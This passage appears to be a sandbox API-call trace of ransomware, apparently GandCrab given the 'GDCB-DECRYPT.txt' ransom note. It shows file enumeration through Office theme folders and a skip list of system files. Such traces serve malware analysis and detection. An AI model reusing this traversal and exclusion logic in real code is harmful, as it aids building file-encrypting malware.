returned 0x2730000 [0054.497] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned 132 [0054.498] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned 132 [0054.498] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.498] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.498] lstrcmpW (lpString1="TM03457510[[fn=Savon]].thmx", lpString2=".") returned 1 [0054.498] lstrcmpW (lpString1="TM03457510[[fn=Savon]].thmx", lpString2="..") returned 1 [0054.498] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457510[[fn=Savon]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx" [0054.498] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.498] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned 129 [0054.498] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned 129 [0054.498] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.498] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.498] lstrcmpW (lpString1="TM03457515[[fn=View]].thmx", lpString2=".") returned 1 [0054.498] lstrcmpW (lpString1="TM03457515[[fn=View]].thmx", lpString2="..") returned 1 [0054.498] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457515[[fn=View]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx" [0054.498] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.498] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned 128 [0054.498] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned 128 [0054.498] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.499] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.499] lstrcmpW (lpString1="TM04033917[[fn=Berlin]].thmx", lpString2=".") returned 1 [0054.499] lstrcmpW (lpString1="TM04033917[[fn=Berlin]].thmx", lpString2="..") returned 1 [0054.499] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033917[[fn=Berlin]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx" [0054.499] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.499] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned 130 [0054.499] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned 130 [0054.499] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.499] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.499] lstrcmpW (lpString1="TM04033919[[fn=Circuit]].thmx", lpString2=".") returned 1 [0054.499] lstrcmpW (lpString1="TM04033919[[fn=Circuit]].thmx", lpString2="..") returned 1 [0054.499] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033919[[fn=Circuit]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx" [0054.499] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.499] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned 131 [0054.499] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned 131 [0054.499] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.499] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.499] lstrcmpW (lpString1="TM04033921[[fn=Damask]].thmx", lpString2=".") returned 1 [0054.499] lstrcmpW (lpString1="TM04033921[[fn=Damask]].thmx", lpString2="..") returned 1 [0054.499] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033921[[fn=Damask]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx" [0054.499] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.500] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned 130 [0054.500] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned 130 [0054.500] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.500] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.500] lstrcmpW (lpString1="TM04033925[[fn=Droplet]].thmx", lpString2=".") returned 1 [0054.500] lstrcmpW (lpString1="TM04033925[[fn=Droplet]].thmx", lpString2="..") returned 1 [0054.500] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033925[[fn=Droplet]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx" [0054.500] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.500] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned 131 [0054.500] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned 131 [0054.500] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.500] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.500] lstrcmpW (lpString1="TM04033927[[fn=Main Event]].thmx", lpString2=".") returned 1 [0054.500] lstrcmpW (lpString1="TM04033927[[fn=Main Event]].thmx", lpString2="..") returned 1 [0054.500] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033927[[fn=Main Event]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx" [0054.500] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.500] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned 134 [0054.500] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned 134 [0054.500] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.501] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.501] lstrcmpW (lpString1="TM04033929[[fn=Slate]].thmx", lpString2=".") returned 1 [0054.501] lstrcmpW (lpString1="TM04033929[[fn=Slate]].thmx", lpString2="..") returned 1 [0054.501] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033929[[fn=Slate]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx" [0054.501] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.501] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned 129 [0054.501] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned 129 [0054.501] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.501] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.501] lstrcmpW (lpString1="TM04033937[[fn=Vapor Trail]].thmx", lpString2=".") returned 1 [0054.501] lstrcmpW (lpString1="TM04033937[[fn=Vapor Trail]].thmx", lpString2="..") returned 1 [0054.501] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033937[[fn=Vapor Trail]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx" [0054.501] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.501] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") returned 135 [0054.501] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") returned 135 [0054.501] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.501] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.501] lstrcmpW (lpString1="TM10001103[[fn=Headlines]].thmx", lpString2=".") returned 1 [0054.501] lstrcmpW (lpString1="TM10001103[[fn=Headlines]].thmx", lpString2="..") returned 1 [0054.501] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001103[[fn=Headlines]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx" [0054.501] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.502] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned 133 [0054.502] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned 133 [0054.502] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.502] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.502] lstrcmpW (lpString1="TM10001104[[fn=Feathered]].thmx", lpString2=".") returned 1 [0054.502] lstrcmpW (lpString1="TM10001104[[fn=Feathered]].thmx", lpString2="..") returned 1 [0054.502] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001104[[fn=Feathered]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx" [0054.502] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.502] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned 133 [0054.502] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned 133 [0054.502] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.502] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.502] lstrcmpW (lpString1="TM10001105[[fn=Crop]].thmx", lpString2=".") returned 1 [0054.502] lstrcmpW (lpString1="TM10001105[[fn=Crop]].thmx", lpString2="..") returned 1 [0054.502] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001105[[fn=Crop]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx" [0054.502] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.502] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned 128 [0054.502] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned 128 [0054.502] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.503] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.503] lstrcmpW (lpString1="TM10001106[[fn=Badge]].thmx", lpString2=".") returned 1 [0054.503] lstrcmpW (lpString1="TM10001106[[fn=Badge]].thmx", lpString2="..") returned 1 [0054.503] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001106[[fn=Badge]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx" [0054.503] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.503] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned 129 [0054.503] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned 129 [0054.503] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.503] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.503] lstrcmpW (lpString1="TM10001114[[fn=Gallery]].thmx", lpString2=".") returned 1 [0054.503] lstrcmpW (lpString1="TM10001114[[fn=Gallery]].thmx", lpString2="..") returned 1 [0054.503] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001114[[fn=Gallery]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx" [0054.503] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.503] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx") returned 131 [0054.503] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx") returned 131 [0054.503] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.503] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.503] lstrcmpW (lpString1="TM10001115[[fn=Parcel]].thmx", lpString2=".") returned 1 [0054.503] lstrcmpW (lpString1="TM10001115[[fn=Parcel]].thmx", lpString2="..") returned 1 [0054.503] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001115[[fn=Parcel]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx" [0054.503] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.504] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx") returned 130 [0054.504] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx") returned 130 [0054.504] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.504] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0054.504] FindClose (in: hFindFile=0x5b8670 | out: hFindFile=0x5b8670) returned 1 [0054.504] FindNextFileW (in: hFindFile=0x5b8a30, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0054.504] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.504] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.504] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\GDCB-DECRYPT.txt" [0054.504] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.504] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\GDCB-DECRYPT.txt") returned 113 [0054.504] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\GDCB-DECRYPT.txt") returned 113 [0054.504] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\GDCB-DECRYPT.txt") returned 113 [0054.504] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\GDCB-DECRYPT.txt") returned 113 [0054.504] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.504] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.504] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.504] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.504] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.504] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.504] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.504] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.504] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.504] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.505] FindNextFileW (in: hFindFile=0x5b8a30, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0054.505] FindClose (in: hFindFile=0x5b8a30 | out: hFindFile=0x5b8a30) returned 1 [0054.505] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.505] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.505] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.505] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="GDCB-DECRYPT.txt" | out: 